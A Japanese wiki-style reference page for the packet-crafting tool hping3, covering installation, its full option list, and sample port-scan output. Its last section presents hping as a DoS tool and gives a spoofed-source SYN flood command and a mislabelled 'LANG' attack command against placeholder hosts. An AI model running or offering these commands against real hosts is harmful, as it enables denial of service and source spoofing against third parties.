hping

提供: セキュリティ
移動: 案内検索
スポンサーリンク

hping とは、TCP/IP パケットのアセンブラー/アナライザー用のコマンドラインツールです。 Unixpingコマンドをインスパイアしたインタフェースですが、ICMP ECHOリクエスト を送信できません。TCP, UDP, ICMP と RAW-IP プロトコルをサポートしており、traceroute モード、ファイル送信の機能、そのほか多くの機能があります。hping は、おもにセキュリティツールとして使われてきました。

読み方

hping
えいち ぴんぐ、えいち ぴん

概要

hping とは、TCP/IP パケットのアセンブラー/アナライザー用のコマンドラインツールです。 Unixpingコマンドをインスパイアしたインタフェースですが、ICMPエコーリクエスト を送信できません。TCP, UDP, ICMP と RAW-IP プロトコルをサポートしており、traceroute モード、ファイル送信の機能、そのほか多くの機能があります。hping は、おもにセキュリティツールとして使われてきました。

  • ファイアーウォール テスティング
  • 高度なポートスキャニング
  • ネットワークテスティング、異なるプロトコルの利用、 TOS、フラグメンテーション
  • マニュアル パス MTU ディスカバリー
  • 高度な traceroute
  • リモート OS フィンガープリンティング
  • リモートアップタイムゲスティング
  • TCP/IP スタック監査

インストール

FreeBSDにインストールする場合

ports コレクションからインストールする場合

cd /usr/ports/net/hping
sudo make install clean

pkgコマンドでインストールする場合

sudo pkg install hping

portmasterコマンドでインストールする場合

sudo portmaster -y -d /usr/ports/net/hping

portinstallコマンドでインストールする場合

sudo portinstall /usr/ports/net/hping

CentOSにインストールする場合

CentOSyum コマンドでインストールする場合。

sudo yum -y  install hping

hping 2.0.0 rpmforge

hping バージョン 2.0.0 パッケージに含まれるファイルは、以下の通りです。

$ rpmquery hping -l
/usr/sbin/hping
/usr/sbin/hping2
/usr/share/doc/hping-2.0.0
/usr/share/doc/hping-2.0.0/APD.txt
/usr/share/doc/hping-2.0.0/AUTHORS
/usr/share/doc/hping-2.0.0/BUGS
/usr/share/doc/hping-2.0.0/CHANGES
/usr/share/doc/hping-2.0.0/COPYING
/usr/share/doc/hping-2.0.0/HPING2-HOWTO.txt
/usr/share/doc/hping-2.0.0/KNOWN-BUGS
/usr/share/doc/hping-2.0.0/NEWS
/usr/share/doc/hping-2.0.0/README
/usr/share/doc/hping-2.0.0/SPOOFED_SCAN.txt
/usr/share/doc/hping-2.0.0/TODO
/usr/share/man/man8/hping.8.gz
/usr/share/man/man8/hping2.8.gz

BackTrack Linux

BackTrack Linux (BT5) だと hping3 と hping2 というコマンドがあります。hping そのもののコマンドは付属していません。

使い方

コマンドラインオプション

% hping3 --help
usage: hping host [options]
  -h  --help      show this help
  -v  --version   show version
  -c  --count     packet count
  -i  --interval  wait (uX for X microseconds, for example -i u1000)
      --fast      alias for -i u10000 (10 packets for second)
      --faster    alias for -i u1000 (100 packets for second)
      --flood      sent packets as fast as possible. Don't show replies.
  -n  --numeric   numeric output
  -q  --quiet     quiet
  -I  --interface interface name (otherwise default routing interface)
  -V  --verbose   verbose mode
  -D  --debug     debugging info
  -z  --bind      bind ctrl+z to ttl           (default to dst port)
  -Z  --unbind    unbind ctrl+z
      --beep      beep for every matching packet received
Mode
  default mode     TCP
  -0  --rawip      RAW IP mode
  -1  --icmp       ICMP mode
  -2  --udp        UDP mode
  -8  --scan       SCAN mode.
                   Example: hping --scan 1-30,70-90 -S www.target.host
  -9  --listen     listen mode
IP
  -a  --spoof      spoof source address
  --rand-dest      random destionation address mode. see the man.
  --rand-source    random source address mode. see the man.
  -t  --ttl        ttl (default 64)
  -N  --id         id (default random)
  -W  --winid      use win* id byte ordering
  -r  --rel        relativize id field          (to estimate host traffic)
  -f  --frag       split packets in more frag.  (may pass weak acl)
  -x  --morefrag   set more fragments flag
  -y  --dontfrag   set dont fragment flag
  -g  --fragoff    set the fragment offset
  -m  --mtu        set virtual mtu, implies --frag if packet size > mtu
  -o  --tos        type of service (default 0x00), try --tos help
  -G  --rroute     includes RECORD_ROUTE option and display the route buffer
  --lsrr           loose source routing and record route
  --ssrr           strict source routing and record route
  -H  --ipproto    set the IP protocol field, only in RAW IP mode
ICMP
  -C  --icmptype   icmp type (default echo request)
  -K  --icmpcode   icmp code (default 0)
      --force-icmp send all icmp types (default send only supported types)
      --icmp-gw    set gateway address for ICMP redirect (default 0.0.0.0)
      --icmp-ts    Alias for --icmp --icmptype 13 (ICMP timestamp)
      --icmp-addr  Alias for --icmp --icmptype 17 (ICMP address subnet mask)
      --icmp-help  display help for others icmp options
UDP/TCP
  -s  --baseport   base source port             (default random)
  -p  --destport   [+][+]<port> destination port(default 0) ctrl+z inc/dec
  -k  --keep       keep still source port
  -w  --win        winsize (default 64)
  -O  --tcpoff     set fake tcp data offset     (instead of tcphdrlen / 4)
  -Q  --seqnum     shows only tcp sequence number
  -b  --badcksum   (try to) send packets with a bad IP checksum
                   many systems will fix the IP checksum sending the packet
                   so you'll get bad UDP/TCP checksum instead.
  -M  --setseq     set TCP sequence number
  -L  --setack     set TCP ack
  -F  --fin        set FIN flag
  -S  --syn        set SYN flag
  -R  --rst        set RST flag
  -P  --push       set PUSH flag
  -A  --ack        set ACK flag
  -U  --urg        set URG flag
  -X  --xmas       set X unused flag (0x40)
  -Y  --ymas       set Y unused flag (0x80)
  --tcpexitcode    use last tcp->th_flags as exit code
  --tcp-timestamp  enable the TCP timestamp option to guess the HZ/uptime
Common
  -d  --data       data size                    (default is 0)
  -E  --file       data from file
  -e  --sign       add 'signature'
  -j  --dump       dump packets in hex
  -J  --print      dump printable characters
  -B  --safe       enable 'safe' protocol
  -u  --end        tell you when --file reached EOF and prevent rewind
  -T  --traceroute traceroute mode              (implies --bind and --ttl 1)
  --tr-stop        Exit when receive the first not ICMP in traceroute mode
  --tr-keep-ttl    Keep the source TTL fixed, useful to monitor just one hop
  --tr-no-rtt       Don't calculate/show RTT information in traceroute mode
ARS packet description (new, unstable)
  --apd-send       Send the packet described with APD (see docs/APD.txt)


デフォルトでは、 TCP ポート 0 番に対して、すべてのフラグをオフにした TCP パケット(データは 0)を連続して送出し、相手からのリプライパケットを表示します。 -c カウントを指定しない場合は、無限に送り続けます。C-c で終了してください。

$ sudo hping3  -c 5 192.168.60.2
HPING 192.168.60.2 (eth1 192.168.60.2): NO FLAGS are set, 40 headers + 0 data bytes
len=46 ip=192.168.60.2 ttl=128 id=607 sport=0 flags=RA seq=0 win=32767 rtt=0.7 ms
len=46 ip=192.168.60.2 ttl=128 id=608 sport=0 flags=RA seq=1 win=32767 rtt=0.7 ms
len=46 ip=192.168.60.2 ttl=128 id=609 sport=0 flags=RA seq=2 win=32767 rtt=0.8 ms
len=46 ip=192.168.60.2 ttl=128 id=610 sport=0 flags=RA seq=3 win=32767 rtt=0.8 ms
len=46 ip=192.168.60.2 ttl=128 id=611 sport=0 flags=RA seq=4 win=32767 rtt=0.7 ms
 
--- 192.168.60.2 hping statistic ---
5 packets tramitted, 5 packets received, 0% packet loss
round-trip min/avg/max = 0.7/0.7/0.8 ms
hping の情報の意味
項目 説明
len キャプチャしたパケットのデータサイズ
ip 返信してきたIPアドレス
ttl Time To Live の値
id IP ID 値
sport ソースのポート番号
flags TCP のフラグ。 (R:RESET, A:ACK, S:SYN, F:FIN, P:PUSH, U:URG, X:0x40, Y:0x80)
seq リプライパケットの連番。
win TCP の ウィンドウサイズ
rtt ラウンドトリップタイム (ミリ秒)
sudo sudo hping3 --scan 1-30 -S -V localhost
using lo, addr: 127.0.0.1, MTU: 16436
using lo, addr: 127.0.0.1, MTU: 16436
Scanning localhost (127.0.0.1), port 1-30
30 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name |  flags  |ttl| id  | win | len |
+----+-----------+---------+---+-----+-----+-----+
    1 tcpmux     : ..R.A...  64     0     0    40
    2 nbp        : ..R.A...  64     0     0    40
    3            : ..R.A...  64     0     0    40
    4 echo       : ..R.A...  64     0     0    40
    5            : ..R.A...  64     0     0    40
    6 zip        : ..R.A...  64     0     0    40
    7 echo       : ..R.A...  64     0     0    40
    8            : ..R.A...  64     0     0    40
    9 discard    : ..R.A...  64     0     0    40
   10            : ..R.A...  64     0     0    40
   11 systat     : ..R.A...  64     0     0    40
   12            : ..R.A...  64     0     0    40
   13 daytime    : ..R.A...  64     0     0    40
   26            : ..R.A...  64     0     0    40
   27            : ..R.A...  64     0     0    40
   28            : ..R.A...  64     0     0    40
   29            : ..R.A...  64     0     0    40
   14            : ..R.A...  64     0     0    40
   15 netstat    : ..R.A...  64     0     0    40
   16            : ..R.A...  64     0     0    40
   18 msp        : ..R.A...  64     0     0    40
   20 ftp-data   : ..R.A...  64     0     0    40
   24            : ..R.A...  64     0     0    40
   30            : ..R.A...  64     0     0    40
   17 qotd       : ..R.A...  64     0     0    40
   19 chargen    : ..R.A...  64     0     0    40
   21 ftp        : ..R.A...  64     0     0    40
   22 ssh        : .S..A...  64     0 32792    44
   23 telnet     : ..R.A...  64     0     0    40
   25 smtp       : ..R.A...  64     0     0    40
All replies received. Done.
Not responding ports:
$ sudo hping3 --scan 1-30 -S -V foo.com
using eth1, addr: 192.168.60.128, MTU: 1500
Scanning foo.com (192.168.60.100), port 1-30
30 ports to scan, use -V to see all the replies
+----+-----------+---------+---+-----+-----+-----+
|port| serv name |  flags  |ttl| id  | win | len |
+----+-----------+---------+---+-----+-----+-----+
   25 smtp       : .S..A... 128 58881 64240    46
   21 ftp        : .S..A... 128 59137 64240    46
   22 ssh        : .S..A... 128 59393 64240    46
   23 telnet     : .S..A... 128 59649 64240    46
All replies received. Done.
Not responding ports: (1 tcpmux) (2 nbp) (3 ) (4 echo) (5 ) (6 zip) (7 echo) 
(8 ) (9 discard) (10 ) (11 systat) (12 ) (13 daytime) (14 ) (15 netstat) (16 ) 
(17 qotd) (18 msp) (19 chargen) (20 ftp-data) (24 ) (26 ) (27 ) (28 ) (29 ) (30 )

DoS ツールとしての hping

SYN 攻撃

-i u1000 は、1000マイクロ秒ごと を意味します。

hping3 -I eth1 -a target.com -S test.com -p 80 -i u1000

LANG 攻撃

hping3 -a target.com -S test.com -p 21

関連項目




スポンサーリンク